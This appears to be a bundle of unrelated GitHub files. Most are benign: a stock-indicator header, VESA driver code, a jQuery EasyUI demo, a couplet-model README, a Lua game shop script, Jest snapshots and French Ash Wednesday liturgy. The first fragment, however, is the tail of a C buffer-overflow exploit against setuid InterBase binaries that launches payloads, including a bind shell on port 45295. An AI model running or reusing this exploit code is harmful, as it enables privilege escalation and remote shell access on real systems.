setenv("INTERBASE", buffer, 1);
fprintf(stdout, "Return Address: 0x%x\n", ret);
fprintf(stdout, "Buffer Size: %d\n", LEN);
fprintf(stdout, "Setuid [90]\n");
if(selectcode == (char *)&inetcode)
{
execl(INET, INET, NULL);
return 0;
}
if(selectcode == (char *)&lockcode)
{
printf("\nShell is on port 45295\nExploit will hang!\n");
execl(LOCK, LOCK, NULL);
return 0;
}
if(selectcode == (char *)&dropcode)
{
execl(DROP, DROP, NULL);
return 0;
}
return 0;
}
|
{
"pile_set_name": "Github"
}
|
/*
* COST.h
*
* Copyright (c) 2019, hikyuu.org
*
* Created on: 2019-5-19
* Author: fasiondog
*/
#pragma once
#ifndef INDICATOR_CRT_COST_H_
#define INDICATOR_CRT_COST_H_
#include "KDATA.h"
#include "DMA.h"
#include "HSL.h"
namespace hku {
/**
* 成本分布
* @details
* <pre>
* 用法:COST(k, X) 表示X%获利盘的价格是多少
* 例如:COST(k, 10),表示10%获利盘的价格是多少,即有10%的持仓量在该价格以下,
* 其余90%在该价格以上,为套牢盘 该函数仅对日线分析周期有效
* </pre>
* @param k 关联的K线数据
* @param x X%获利盘
* @ingroup Indicator
*/
Indicator COST(const KData& k, double x = 10.0);
Indicator COST(double x = 10.0);
inline Indicator COST(double x) {
Indicator ind = DMA(CLOSE() + (HIGH() - LOW()) * x / 100.0, HSL());
ind.name("COST");
ind.setParam<double>("x", x);
return ind;
}
inline Indicator COST(const KData& k, double x) {
Indicator ind = COST(x);
ind.setContext(k);
return ind;
}
} // namespace hku
#endif /* INDICATOR_CRT_COST_H_ */
|
{
"pile_set_name": "Github"
}
|
/*****************************************************************************
* VESAMODE.C - Translate VESA's modeinfo data into our SMInfo format.
* (Cloned from what used to be the DEVICE.C module for the
* standalone VESA driver.)
*
* 01/7/91 - jdb
* put into ADI stream.
* 01/16/91 - jdb
* corrected getting the table of VESA modes; now limited to just
* pixel-packed modes.
* 03/02/91 - Ian
* Major rewrite of the whole driver. In this module, mostly
* did minor performance tweaking and fixed a few buglets (such
* as not freeing the DOS memory buffer upon driver unload.)
* 05/28/91 - Ian
* Major tweak, to make it easier to clone new drivers off of
* this source code. Eliminated RASTER.C module, moving the
* get_rlib function into this module, and putting the maskXblit
* routines into the BLTC module. Also, at this time, the 'vesa'
* name prefix was changed to 'drv' throughout. (EG, a routine
* named vesa_get_hseg() would now be named pj_vdrv_get_hseg(). A
* file named VESADOTS.ASM would now be named DRVDOTS.ASM).
* 07/29/91 - Ian
* Cloned from the original, tweaked to eliminate external names
* to whatever degree possible, and to make remaining externals
* start with pj_vesa_. This is for use in the FLILIB project.
* Also, moved into the new drvcomn\ dir, since this module is
* now shared by the vesa and svga autodetect drivers.
****************************************************************************/
/******************************************************************************
* *
* Copyright (C) 1991 by Autodesk, Inc. *
* *
* Permission to use, copy, modify, and distribute this software and *
* its documentation for the purpose of creating applications for *
* AutoCAD, is hereby granted in accordance with the terms of the *
* License Agreement accompanying this product. *
* *
* Autodesk makes no warrantees, express or implied, as to the *
* correctness of this code or any derivative works which incorporate *
* it. Autodesk provides the code on an ''as-is'' basis and *
* explicitly disclaims any liability, express or implied, for *
* errors, omissions, and other problems in the code, including *
* consequential and incidental damages. *
* *
* Use, duplication, or disclosure by the U.S. Government is *
* subject to restrictions set forth in FAR 52.227-19 (Commercial *
* Computer Software - Restricted Rights) and DFAR 252.227-7013 (c) *
* (1) (ii) (Rights in Technical Data and Computer Software, as *
* applicable. *
* *
******************************************************************************/
#define DEBUG_SHOW_MODEINFO
#include "stdio.h" // typical stuff...
#include "errcodes.h"
#include "syslib.h"
#include "vesamode.h" // import VESA-defined thingies
#include "drvcomn.h" // import definition of SMInfo structure
/*----------------------------------------------------------------------------
* x/y dimensions table for standard 8-bit-per-pixel vesa modes...
*--------------------------------------------------------------------------*/
static struct {
USHORT xsize, ysize;
} stdmodes[] = {
{640, 400 }, /* mode 0x0100 */
{640, 480 }, /* mode 0x0101 */
{0, 0 }, /* mode 0x0102 */
{800, 600 }, /* mode 0x0103 */
{0, 0 }, /* mode 0x0104 */
{1024, 768 }, /* mode 0x0105 */
{0, 0 }, /* mode 0x0106 */
{1280, 1024 }, /* mode 0x0107 */
};
int pj_vesa_build_sminfo(SMInfo *sminf, SHORT *vesamodes)
/*****************************************************************************
* one-time init routine...build the array of SMInfo structures for our modes.
* the array of all available modes has been built by the pj_vesa_is_it_vesa()
* routine, prior to entry to this routine.
****************************************************************************/
{
Errcode err;
VBEInfo *vib;
VModeInfo *vmb;
SMInfo tmp;
int i, j;
int mode;
int memsize;
USHORT xsize;
USHORT ysize;
int packed_mode_count;
int vram_available;
#ifdef DEBUG_SHOW_MODEINFO
FILE *dbgfile;
dbgfile = fopen("vesamode.inf","w");
#endif
err = Success;
packed_mode_count = 0;
vib = pj_vesa_get_bios_info();
vram_available = /* if vesa version is 1.0, we have to assume tons of memory */
(vib->VESAVersion == VESA_1_0) ? 0x7FFFFFFF:vib->TotalMemory*BYTES_IN_64K;
/* extract the PACKED_PIXEL modes */
while (packed_mode_count < MAX_SMODES) {
if (-1 == (mode = *vesamodes++))
goto NO_MORE_MODES;
if (NULL == (vmb = pj_vesa_get_mode_info(mode)))
goto SKIP_THIS_MODE;
#ifdef DEBUG_SHOW_MODEINFO
if (NULL != dbgfile) {
fprintf(dbgfile,"\nModeInfo for VESA mode %#x:\n"
"modeattr = %#x \n"
"winAattr = %#x \n"
"winBattr = %#x \n"
"wingran = %#x \n"
"winsize = %#x \n"
"winAseg = %#x \n"
"winBseg = %#x \n"
"winfuncptr = %#x \n"
"pitch = %#x \n"
"xsize = %#d \n"
"ysize = %#d \n"
"xcharsize = %#d \n"
"ycharsize = %#d \n"
"numplanes = %#d \n"
"bitsperpixel = %#d \n"
"numbanks = %#x \n"
"memorymodel = %#x \n"
"banksize = %#x \n"
"numimagespages = %#x \n",
(int)mode,
(int)(vmb->modeattr),
(int)(vmb->winAattr),
(int)(vmb->winBattr),
(int)(vmb->wingran),
(int)(vmb->winsize),
(int)(vmb->winAseg),
(int)(vmb->winBseg),
(int)(vmb->winfuncptr),
(int)(vmb->pitch),
(int)(vmb->xsize),
(int)(vmb->ysize),
(int)(vmb->xcharsize),
(int)(vmb->ycharsize),
(int)(vmb->numplanes),
(int)(vmb->bitsperpixel),
(int)(vmb->numbanks),
(int)(vmb->memorymodel),
(int)(vmb->banksize),
(int)(vmb->numimagespages)
);
}
#endif
if (!(vmb->modeattr & MODE_SUPPORTED) /* if mode not supported in */
|| !(vmb->modeattr & GRAPHICS_MODE) /* hardware, or isn't 8 bit */
|| (vmb->memorymodel != PACKED_PIXEL) /* packed pixel graphics */
|| (vmb->bitsperpixel != 8)) { /* mode, then skip it. */
goto SKIP_THIS_MODE;
}
if (vmb->modeattr & EXTENDED_INFO) {
xsize = vmb->xsize;
ysize = vmb->ysize;
} else if (mode >= 0x100 && mode <= 0x107) {
xsize = stdmodes[mode-0x100].xsize;
ysize = stdmodes[mode-0x100].ysize;
} else {
ysize = 0;
}
memsize = ysize * vmb->pitch;
/* if the board has enough memory, allow the mode */
if (memsize > 0 && memsize <= vram_available) {
sminf[packed_mode_count].hdwmode = mode;
sminf[packed_mode_count].width = xsize;
sminf[packed_mode_count].height = ysize;
++packed_mode_count;
}
SKIP_THIS_MODE:
continue;
}
NO_MORE_MODES:
/* if no packed pixel modes supported, return error */
if (packed_mode_count == 0) {
goto OUT;
}
/* move the highest numbers to the front of the packed pixel table */
for (i = 0; i < packed_mode_count - 1; i++) {
for (j = packed_mode_count - 1; j > i; j--) {
if (sminf[j].hdwmode < sminf[j-1].hdwmode) {
tmp = sminf[j];
sminf[j] = sminf[j-1];
sminf[j-1] = tmp;
}
}
}
/* remove any repeated entries */
for (i = 0; i < packed_mode_count - 1; i++) {
if (sminf[i].hdwmode == sminf[i+1].hdwmode) {
for (j = i; j < packed_mode_count - 1; j++) {
sminf[j] = sminf[j+1];
}
--packed_mode_count;
}
}
/* make sure modes 0x100 or 0x101 are at the head of the list
because an unconfigured PJ powers up in a new driver at mode_ix 0 */
if (sminf[0].hdwmode != 0x100 && sminf[0].hdwmode != 0x101) {
for (i = 1; i < packed_mode_count; i++) {
if (sminf[i].hdwmode == 0x100 || sminf[i].hdwmode == 0x101) {
tmp = sminf[0];
sminf[0] = sminf[i];
sminf[i] = tmp;
break;
}
}
}
OUT:
#ifdef DEBUG_SHOW_MODEINFO
if (dbgfile != NULL)
fclose(dbgfile);
#endif
return packed_mode_count;
}
|
{
"pile_set_name": "Github"
}
|
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Toolbar and Buttons - jQuery EasyUI Demo</title>
<link rel="stylesheet" type="text/css" href="../../themes/default/easyui.css">
<link rel="stylesheet" type="text/css" href="../../themes/icon.css">
<link rel="stylesheet" type="text/css" href="../demo.css">
<script type="text/javascript" src="../../jquery.min.js"></script>
<script type="text/javascript" src="../../jquery.easyui.min.js"></script>
</head>
<body>
<h2>Toolbar and Buttons</h2>
<p>The toolbar and buttons can be added to dialog.</p>
<div style="margin:20px 0;">
<a href="javascript:void(0)" class="easyui-linkbutton" onclick="$('#dlg').dialog('open')">Open</a>
<a href="javascript:void(0)" class="easyui-linkbutton" onclick="$('#dlg').dialog('close')">Close</a>
</div>
<div id="dlg" class="easyui-dialog" title="Toolbar and Buttons" style="width:400px;height:200px;padding:10px"
data-options="
iconCls: 'icon-save',
toolbar: [{
text:'Add',
iconCls:'icon-add',
handler:function(){
alert('add')
}
},'-',{
text:'Save',
iconCls:'icon-save',
handler:function(){
alert('save')
}
}],
buttons: [{
text:'Ok',
iconCls:'icon-ok',
handler:function(){
alert('ok');
}
},{
text:'Cancel',
handler:function(){
alert('cancel');;
}
}]
">
The dialog content.
</div>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
This is a project use seq2seq model to play couplets (对对联)。 This project is written with Tensorflow. You can try the demo at [https://ai.binwang.me/couplet](https://ai.binwang.me/couplet).
Pre-requirements
--------------
* Tensorflow
* Python 3.6
* Dataset
Dataset
-----------
You will need some data to run this program, the dataset can be downloaded from [this project](https://github.com/wb14123/couplet-dataset).
** Note: If you are using your own dataset, you need to add `<s>` and `<\s>` as the first two line into the vocabs file. **
Usage
------------
### Train
Open `couplet.py` and config the file locations and hyperparams. Then run `python couplet.py` to train the model. You can see the training loss and bleu score at Tensorbloard. You may need to re-config `learning_rate` when you find the loss stops descresing. Here is an example of the loss graph:

If you stoped the training and want to continue to train it. You can set `restore_model` to `True` and use `m.train(<epoches>, start=<start>)`, which `start` is the steps you've already run.
I've trained the model on a Nivida GTX-1080 GPU for about 4 days.
### Run the trained model
Open `server.py` and config the `vocab_file` and `model_dir` params. Then run `python server.py` will start a web service that can play couplet.
Examples
-------------
Here are some examples generated by this model:
| 上联 | 下联 |
|-----------------------------|--------------------|
| 殷勤怕负三春意 | 潇洒难书一字愁 |
| 如此清秋何吝酒 | 这般明月不须钱 |
| 天朗气清风和畅 | 云蒸霞蔚日光辉 |
| 梦里不知身是客 | 醉时已觉酒为朋 |
| 千秋月色君长看 | 一夜风声我自怜 |
|
{
"pile_set_name": "Github"
}
|
-----------------------------------
-- Area: Windurst Waters
-- NPC: Baehu-Faehu
-- Only sells when Windurst has control of Sarutabaruta
-- Confirmed shop stock, August 2013
-----------------------------------
local ID = require("scripts/zones/Windurst_Waters/IDs");
require("scripts/globals/conquest");
require("scripts/globals/shop");
-----------------------------------
function onTrade(player,npc,trade)
end;
function onTrigger(player,npc)
local RegionOwner = GetRegionOwner(dsp.region.SARUTABARUTA);
if (RegionOwner ~= dsp.nation.WINDURST) then
player:showText(npc,ID.text.BAEHUFAEHU_CLOSED_DIALOG);
else
player:showText(npc,ID.text.BAEHUFAEHU_OPEN_DIALOG);
local stock =
{
4444, 22, -- Rarab Tail
689, 33, -- Lauan Log
619, 43, -- Popoto
4392, 29, -- Saruta Orange
635, 18 -- Windurstian Tea Leaves
}
dsp.shop.general(player, stock, WINDURST);
end
end;
function onEventUpdate(player,csid,option)
end;
function onEventFinish(player,csid,option)
end;
|
{
"pile_set_name": "Github"
}
|
// Jest Snapshot v1, https://goo.gl/fbAQLP
exports[`utils / cssSnapshots with a Bootstrap import should find external files 1`] = `"bootstrap-module__test---WRms9"`;
exports[`utils / cssSnapshots with a custom renderer should process a file and log 1`] = `
Object {
"exampleFileContents": "exampleFileContents__exampleFileContents---e3Nf2",
"exampleFileName": "exampleFileContents__exampleFileName---yg7Zl",
}
`;
exports[`utils / cssSnapshots with file 'empty.module.less' createExports should create an exports file 1`] = `
"declare let classes: {
};
export default classes;
"
`;
exports[`utils / cssSnapshots with file 'empty.module.less' getClasses should return an object matching expected CSS 1`] = `Object {}`;
exports[`utils / cssSnapshots with file 'empty.module.less' with a custom template should transform the generated dts 1`] = `
"/* eslint-disable */
declare let classes: {
};
export default classes;
export const __cssModule: true;
export type AllClassNames = '';"
`;
exports[`utils / cssSnapshots with file 'empty.module.sass' createExports should create an exports file 1`] = `
"declare let classes: {
};
export default classes;
"
`;
exports[`utils / cssSnapshots with file 'empty.module.sass' getClasses should return an object matching expected CSS 1`] = `Object {}`;
exports[`utils / cssSnapshots with file 'empty.module.sass' with a custom template should transform the generated dts 1`] = `
"/* eslint-disable */
declare let classes: {
};
export default classes;
export const __cssModule: true;
export type AllClassNames = '';"
`;
exports[`utils / cssSnapshots with file 'empty.module.scss' createExports should create an exports file 1`] = `
"declare let classes: {
};
export default classes;
"
`;
exports[`utils / cssSnapshots with file 'empty.module.scss' getClasses should return an object matching expected CSS 1`] = `Object {}`;
exports[`utils / cssSnapshots with file 'empty.module.scss' with a custom template should transform the generated dts 1`] = `
"/* eslint-disable */
declare let classes: {
};
export default classes;
export const __cssModule: true;
export type AllClassNames = '';"
`;
exports[`utils / cssSnapshots with file 'empty.module.styl' createExports should create an exports file 1`] = `
"declare let classes: {
};
export default classes;
"
`;
exports[`utils / cssSnapshots with file 'empty.module.styl' getClasses should return an object matching expected CSS 1`] = `Object {}`;
exports[`utils / cssSnapshots with file 'empty.module.styl' with a custom template should transform the generated dts 1`] = `
"/* eslint-disable */
declare let classes: {
};
export default classes;
export const __cssModule: true;
export type AllClassNames = '';"
`;
exports[`utils / cssSnapshots with file 'import.module.css' createExports should create an exports file 1`] = `
"declare let classes: {
'classA': string;
'ClassB': string;
'class-c': string;
'class_d': string;
'parent': string;
'childA': string;
'childB': string;
'nestedChild': string;
};
export default classes;
export let classA: string;
export let ClassB: string;
export let parent: string;
export let childA: string;
export let childB: string;
export let nestedChild: string;
"
`;
exports[`utils / cssSnapshots with file 'import.module.css' getClasses should return an object matching expected CSS 1`] = `
Object {
"ClassB": "import-module__ClassB---2LsIz",
"childA": "import-module__childA---2AUKk",
"childB": "import-module__childB---1z-Zh",
"class-c": "import-module__class-c---2JDAJ",
"classA": "import-module__classA---2fO5r",
"class_d": "import-module__class_d---2Dims",
"nestedChild": "import-module__nestedChild---1ZDxw",
"parent": "import-module__parent---2kdvO",
}
`;
exports[`utils / cssSnapshots with file 'import.module.css' with a custom template should transform the generated dts 1`] = `
"/* eslint-disable */
declare let classes: {
'classA': string;
'ClassB': string;
'class-c': string;
'class_d': string;
'parent': string;
'childA': string;
'childB': string;
'nestedChild': string;
};
export default classes;
export let classA: string;
export let ClassB: string;
export let parent: string;
export let childA: string;
export let childB: string;
export let nestedChild: string;
export const __cssModule: true;
export type AllClassNames = 'classA' | 'ClassB' | 'class-c' | 'class_d' | 'parent' | 'childA' | 'childB' | 'nestedChild';"
`;
exports[`utils / cssSnapshots with file 'import.module.less' createExports should create an exports file 1`] = `
"declare let classes: {
'nested-class-parent': string;
'child-class': string;
'selector-blue': string;
'selector-green': string;
'selector-red': string;
'column-1': string;
'column-2': string;
'column-3': string;
'column-4': string;
'color-set': string;
};
export default classes;
"
`;
exports[`utils / cssSnapshots with file 'import.module.less' getClasses should return an object matching expected CSS 1`] = `
Object {
"child-class": "import-module__child-class---2XACw",
"color-set": "import-module__color-set---9xoPb",
"column-1": "import-module__column-1---3R-BM",
"column-2": "import-module__column-2---J0ZdX",
"column-3": "import-module__column-3---3_589",
"column-4": "import-module__column-4---SlPDz",
"nested-class-parent": "import-module__nested-class-parent---14g9m",
"selector-blue": "import-module__selector-blue---2JSaB",
"selector-green": "import-module__selector-green---1cLL8",
"selector-red": "import-module__selector-red---2T6zy",
}
`;
exports[`utils / cssSnapshots with file 'import.module.less' with a custom template should transform the generated dts 1`] = `
"/* eslint-disable */
declare let classes: {
'nested-class-parent': string;
'child-class': string;
'selector-blue': string;
'selector-green': string;
'selector-red': string;
'column-1': string;
'column-2': string;
'column-3': string;
'column-4': string;
'color-set': string;
};
export default classes;
export const __cssModule: true;
export type AllClassNames = 'nested-class-parent' | 'child-class' | 'selector-blue' | 'selector-green' | 'selector-red' | 'column-1' | 'column-2' | 'column-3' | 'column-4' | 'color-set';"
`;
exports[`utils / cssSnapshots with file 'import.module.styl' createExports should create an exports file 1`] = `
"declare let classes: {
'foo': string;
'bar': string;
'baz': string;
'col-1': string;
'col-2': string;
'col-3': string;
'local-class-1': string;
'inside-local': string;
'inside-1-name-2': string;
'inside-2-name-1': string;
};
export default classes;
export let foo: string;
export let bar: string;
export let baz: string;
"
`;
exports[`utils / cssSnapshots with file 'import.module.styl' getClasses should return an object matching expected CSS 1`] = `
Object {
"bar": "import-module__bar---2N4cR",
"baz": "import-module__baz---6mQbB",
"col-1": "import-module__col-1---2QW7j",
"col-2": "import-module__col-2---2CRRS",
"col-3": "import-module__col-3---17Luq",
"foo": "import-module__foo---FJflO",
"inside-1-name-2": "import-module__inside-1-name-2---wLnoq",
"inside-2-name-1": "import-module__inside-2-name-1---1GRhn",
"inside-local": "import-module__inside-local---1JuOc",
"local-class-1": "import-module__local-class-1---3QupT",
}
`;
exports[`utils / cssSnapshots with file 'import.module.styl' with a custom template should transform the generated dts 1`] = `
"/* eslint-disable */
declare let classes: {
'foo': string;
'bar': string;
'baz': string;
'col-1': string;
'col-2': string;
'col-3': string;
'local-class-1': string;
'inside-local': string;
'inside-1-name-2': string;
'inside-2-name-1': string;
};
export default classes;
export let foo: string;
export let bar: string;
export let baz: string;
export const __cssModule: true;
export type AllClassNames = 'foo' | 'bar' | 'baz' | 'col-1' | 'col-2' | 'col-3' | 'local-class-1' | 'inside-local' | 'inside-1-name-2' | 'inside-2-name-1';"
`;
exports[`utils / cssSnapshots with file 'test.module.css' createExports should create an exports file 1`] = `
"declare let classes: {
'classA': string;
'ClassB': string;
'class-c': string;
'class_d': string;
'parent': string;
'childA': string;
'childB': string;
'nestedChild': string;
};
export default classes;
export let classA: string;
export let ClassB: string;
export let parent: string;
export let childA: string;
export let childB: string;
export let nestedChild: string;
"
`;
exports[`utils / cssSnapshots with file 'test.module.css' getClasses should return an object matching expected CSS 1`] = `
Object {
"ClassB": "test-module__ClassB---G7fhY",
"childA": "test-module__childA---26dwC",
"childB": "test-module__childB---13lLy",
"class-c": "test-module__class-c---3Ouzp",
"classA": "test-module__classA---KAOw8",
"class_d": "test-module__class_d---3pjDe",
"nestedChild": "test-module__nestedChild---v7rOR",
"parent": "test-module__parent---2tsUX",
}
`;
exports[`utils / cssSnapshots with file 'test.module.css' with a custom template should transform the generated dts 1`] = `
"/* eslint-disable */
declare let classes: {
'classA': string;
'ClassB': string;
'class-c': string;
'class_d': string;
'parent': string;
'childA': string;
'childB': string;
'nestedChild': string;
};
export default classes;
export let classA: string;
export let ClassB: string;
export let parent: string;
export let childA: string;
export let childB: string;
export let nestedChild: string;
export const __cssModule: true;
export type AllClassNames = 'classA' | 'ClassB' | 'class-c' | 'class_d' | 'parent' | 'childA' | 'childB' | 'nestedChild';"
`;
exports[`utils / cssSnapshots with file 'test.module.less' createExports should create an exports file 1`] = `
"declare let classes: {
'nested-class-parent': string;
'child-class': string;
'selector-blue': string;
'selector-green': string;
'selector-red': string;
'column-1': string;
'column-2': string;
'column-3': string;
'column-4': string;
'color-set': string;
};
export default classes;
"
`;
exports[`utils / cssSnapshots with file 'test.module.less' getClasses should return an object matching expected CSS 1`] = `
Object {
"child-class": "test-module__child-class---1au0d",
"color-set": "test-module__color-set---bEXmh",
"column-1": "test-module__column-1---5hXb3",
"column-2": "test-module__column-2---2ykNv",
"column-3": "test-module__column-3---2JnAp",
"column-4": "test-module__column-4---SG3xj",
"nested-class-parent": "test-module__nested-class-parent---2jIpC",
"selector-blue": "test-module__selector-blue---2kUKa",
"selector-green": "test-module__selector-green---hMr6S",
"selector-red": "test-module__selector-red---2hf4j",
}
`;
exports[`utils / cssSnapshots with file 'test.module.less' with a custom template should transform the generated dts 1`] = `
"/* eslint-disable */
declare let classes: {
'nested-class-parent': string;
'child-class': string;
'selector-blue': string;
'selector-green': string;
'selector-red': string;
'column-1': string;
'column-2': string;
'column-3': string;
'column-4': string;
'color-set': string;
};
export default classes;
export const __cssModule: true;
export type AllClassNames = 'nested-class-parent' | 'child-class' | 'selector-blue' | 'selector-green' | 'selector-red' | 'column-1' | 'column-2' | 'column-3' | 'column-4' | 'color-set';"
`;
exports[`utils / cssSnapshots with file 'test.module.sass' createExports should create an exports file 1`] = `
"declare let classes: {
'local-class-inside-global': string;
'local-class': string;
'local-class-2': string;
'local-class-inside-local': string;
'reserved-words': string;
'default': string;
'const': string;
'nested-class-parent': string;
'child-class': string;
'nested-class-parent--extended': string;
'section-1': string;
'section-2': string;
'section-3': string;
'section-4': string;
'section-5': string;
'section-6': string;
'section-7': string;
'section-8': string;
'section-9': string;
'class-with-mixin': string;
};
export default classes;
"
`;
exports[`utils / cssSnapshots with file 'test.module.sass' getClasses should return an object matching expected CSS 1`] = `
Object {
"child-class": "test-module__child-class---2vfhc",
"class-with-mixin": "test-module__class-with-mixin---3zUq-",
"const": "test-module__const---39o_j",
"default": "test-module__default---h-tcC",
"local-class": "test-module__local-class---1yStp",
"local-class-2": "test-module__local-class-2---3xCgt",
"local-class-inside-global": "test-module__local-class-inside-global---Mznd5",
"local-class-inside-local": "test-module__local-class-inside-local---1z2Qf",
"nested-class-parent": "test-module__nested-class-parent---3oyeq",
"nested-class-parent--extended": "test-module__nested-class-parent--extended---cjRbg",
"reserved-words": "test-module__reserved-words---3hGie",
"section-1": "test-module__section-1---2QkaE",
"section-2": "test-module__section-2---23KHs",
"section-3": "test-module__section-3---2BttW",
"section-4": "test-module__section-4---1TrSo",
"section-5": "test-module__section-5---1PIYZ",
"section-6": "test-module__section-6---tbEch",
"section-7": "test-module__section-7---i7uWX",
"section-8": "test-module__section-8---1jfNT",
"section-9": "test-module__section-9---1akFT",
}
`;
exports[`utils / cssSnapshots with file 'test.module.sass' with a custom template should transform the generated dts 1`] = `
"/* eslint-disable */
declare let classes: {
'local-class-inside-global': string;
'local-class': string;
'local-class-2': string;
'local-class-inside-local': string;
'reserved-words': string;
'default': string;
'const': string;
'nested-class-parent': string;
'child-class': string;
'nested-class-parent--extended': string;
'section-1': string;
'section-2': string;
'section-3': string;
'section-4': string;
'section-5': string;
'section-6': string;
'section-7': string;
'section-8': string;
'section-9': string;
'class-with-mixin': string;
};
export default classes;
export const __cssModule: true;
export type AllClassNames = 'local-class-inside-global' | 'local-class' | 'local-class-2' | 'local-class-inside-local' | 'reserved-words' | 'default' | 'const' | 'nested-class-parent' | 'child-class' | 'nested-class-parent--extended' | 'section-1' | 'section-2' | 'section-3' | 'section-4' | 'section-5' | 'section-6' | 'section-7' | 'section-8' | 'section-9' | 'class-with-mixin';"
`;
exports[`utils / cssSnapshots with file 'test.module.scss' createExports should create an exports file 1`] = `
"declare let classes: {
'local-class-inside-global': string;
'local-class': string;
'local-class-2': string;
'local-class-inside-local': string;
'reserved-words': string;
'default': string;
'const': string;
'nested-class-parent': string;
'child-class': string;
'nested-class-parent--extended': string;
'section-1': string;
'section-2': string;
'section-3': string;
'section-4': string;
'section-5': string;
'section-6': string;
'section-7': string;
'section-8': string;
'section-9': string;
'class-with-mixin': string;
};
export default classes;
"
`;
exports[`utils / cssSnapshots with file 'test.module.scss' getClasses should return an object matching expected CSS 1`] = `
Object {
"child-class": "test-module__child-class---s-_Mc",
"class-with-mixin": "test-module__class-with-mixin---1JqB_",
"const": "test-module__const---28kKv",
"default": "test-module__default---8gLb1",
"local-class": "test-module__local-class---1Ju3l",
"local-class-2": "test-module__local-class-2---3aSgy",
"local-class-inside-global": "test-module__local-class-inside-global---IVh9J",
"local-class-inside-local": "test-module__local-class-inside-local---1LKIi",
"nested-class-parent": "test-module__nested-class-parent---2LnTV",
"nested-class-parent--extended": "test-module__nested-class-parent--extended---1j85b",
"reserved-words": "test-module__reserved-words---1mM1m",
"section-1": "test-module__section-1---11Ic3",
"section-2": "test-module__section-2---1Uiwc",
"section-3": "test-module__section-3---2eZeM",
"section-4": "test-module__section-4---3m8sf",
"section-5": "test-module__section-5---1MTwN",
"section-6": "test-module__section-6---szUAt",
"section-7": "test-module__section-7---2DOBJ",
"section-8": "test-module__section-8---3qav2",
"section-9": "test-module__section-9---2EMR_",
}
`;
exports[`utils / cssSnapshots with file 'test.module.scss' with a custom template should transform the generated dts 1`] = `
"/* eslint-disable */
declare let classes: {
'local-class-inside-global': string;
'local-class': string;
'local-class-2': string;
'local-class-inside-local': string;
'reserved-words': string;
'default': string;
'const': string;
'nested-class-parent': string;
'child-class': string;
'nested-class-parent--extended': string;
'section-1': string;
'section-2': string;
'section-3': string;
'section-4': string;
'section-5': string;
'section-6': string;
'section-7': string;
'section-8': string;
'section-9': string;
'class-with-mixin': string;
};
export default classes;
export const __cssModule: true;
export type AllClassNames = 'local-class-inside-global' | 'local-class' | 'local-class-2' | 'local-class-inside-local' | 'reserved-words' | 'default' | 'const' | 'nested-class-parent' | 'child-class' | 'nested-class-parent--extended' | 'section-1' | 'section-2' | 'section-3' | 'section-4' | 'section-5' | 'section-6' | 'section-7' | 'section-8' | 'section-9' | 'class-with-mixin';"
`;
exports[`utils / cssSnapshots with file 'test.module.styl' createExports should create an exports file 1`] = `
"declare let classes: {
'foo': string;
'bar': string;
'baz': string;
'col-1': string;
'col-2': string;
'col-3': string;
'local-class-1': string;
'inside-local': string;
'inside-1-name-2': string;
'inside-2-name-1': string;
};
export default classes;
export let foo: string;
export let bar: string;
export let baz: string;
"
`;
exports[`utils / cssSnapshots with file 'test.module.styl' getClasses should return an object matching expected CSS 1`] = `
Object {
"bar": "test-module__bar---2WWom",
"baz": "test-module__baz---1Rs9U",
"col-1": "test-module__col-1---1XP3K",
"col-2": "test-module__col-2---2nPwS",
"col-3": "test-module__col-3---3CSSb",
"foo": "test-module__foo---2pGaO",
"inside-1-name-2": "test-module__inside-1-name-2---3Zdgw",
"inside-2-name-1": "test-module__inside-2-name-1---3PYHl",
"inside-local": "test-module__inside-local---2KzUE",
"local-class-1": "test-module__local-class-1---3piX9",
}
`;
exports[`utils / cssSnapshots with file 'test.module.styl' with a custom template should transform the generated dts 1`] = `
"/* eslint-disable */
declare let classes: {
'foo': string;
'bar': string;
'baz': string;
'col-1': string;
'col-2': string;
'col-3': string;
'local-class-1': string;
'inside-local': string;
'inside-1-name-2': string;
'inside-2-name-1': string;
};
export default classes;
export let foo: string;
export let bar: string;
export let baz: string;
export const __cssModule: true;
export type AllClassNames = 'foo' | 'bar' | 'baz' | 'col-1' | 'col-2' | 'col-3' | 'local-class-1' | 'inside-local' | 'inside-1-name-2' | 'inside-2-name-1';"
`;
exports[`utils / cssSnapshots with includePaths in sass options should find external file from includePaths 1`] = `
Object {
"big-font": "include-path-module__big-font---Td7hY",
"class-with-mixin": "include-path-module__class-with-mixin---1u87_",
}
`;
exports[`utils / cssSnapshots with includePaths in stylus options should find external file from includePaths 1`] = `
Object {
"external-class": "include-path-module__external-class---ecH0A",
"include-path": "include-path-module__include-path---2f2uR",
}
`;
|
{
"pile_set_name": "Github"
}
|
[Rank]
Feria IV Cinerum;;Feria Privilegiata;;6
[Rule]
no Gloria
Prefatio=Quad
Suffragium=Sanctorum;Vivis;;
Super populum
Prelude
(rubrica 1960) omit incipit
[Prelude]
#Benedictio cinerum
!Antiphona.
!Ps 68:17
v. Exaucez-moi, Seigneur, car Votre miséricorde est toute suave; regardez- moi selon l'abondance de Vos bontés.
!Ps 68:2
Sauvez-moi, ô Dieu, car les eaux sont entrées jusqu'à mon âme.
&Gloria
v. Exaucez-moi, Seigneur, car Votre miséricorde est toute suave; regardez- moi selon l'abondance de Vos bontés.
_
_
!Ensuite, le prêtre, du côté de l’Épître, sans se tourner vers le peuple, les mains jointes (qui sont également jointes pour toutes les bénédictions suivantes) dit :
V. Le Seigneur soit avec vous.
R. Et avec votre esprit.
v. Prions.
Dieu tout-puissant et éternel, pardonnez à ceux qui font pénitence, montrez-vous propice à ceux qui vous supplient ; et daignez envoyer du ciel votre saint Ange afin qu’il bé + nisse et sanctifie ces cendres, en sorte qu’elles soient un remède salutaire pour tous ceux qui implorent humblement votre saint nom et qui, parce qu’ils ont conscience de leurs fautes, s’accusent eux-mêmes, déplorant en présence de votre divine clémence leurs actes coupables ou sollicitant avec insistance et supplications votre très douce miséricorde. Faites qu’en raison de l’invocation de votre très saint nom, tous ceux sur qui ces cendres auront été répandues pour la rémission de leurs péchés, reçoivent la santé du corps et obtiennent pour leur âme votre protection.
R. Amen.
_
_
v. Prions.
Ô Dieu, qui ne voulez pas la mort des pécheurs mais leur pénitence, considérez avec la plus grande bonté la fragilité de la nature humaine ; et daignez, selon votre miséricorde, bénir ces cendres que nous avons résolu de déposer sur nos têtes comme une marque d’humiliation et pour obtenir le pardon, afin que, reconnaissant que nous ne sommes que poussière, à cause de nos iniquités, nous méritions d’obtenir de votre miséricorde la rémission de tous nos péchés et les récompenses promises à ceux qui auront fait pénitence.
R. Amen.
_
_
v. Orémus.
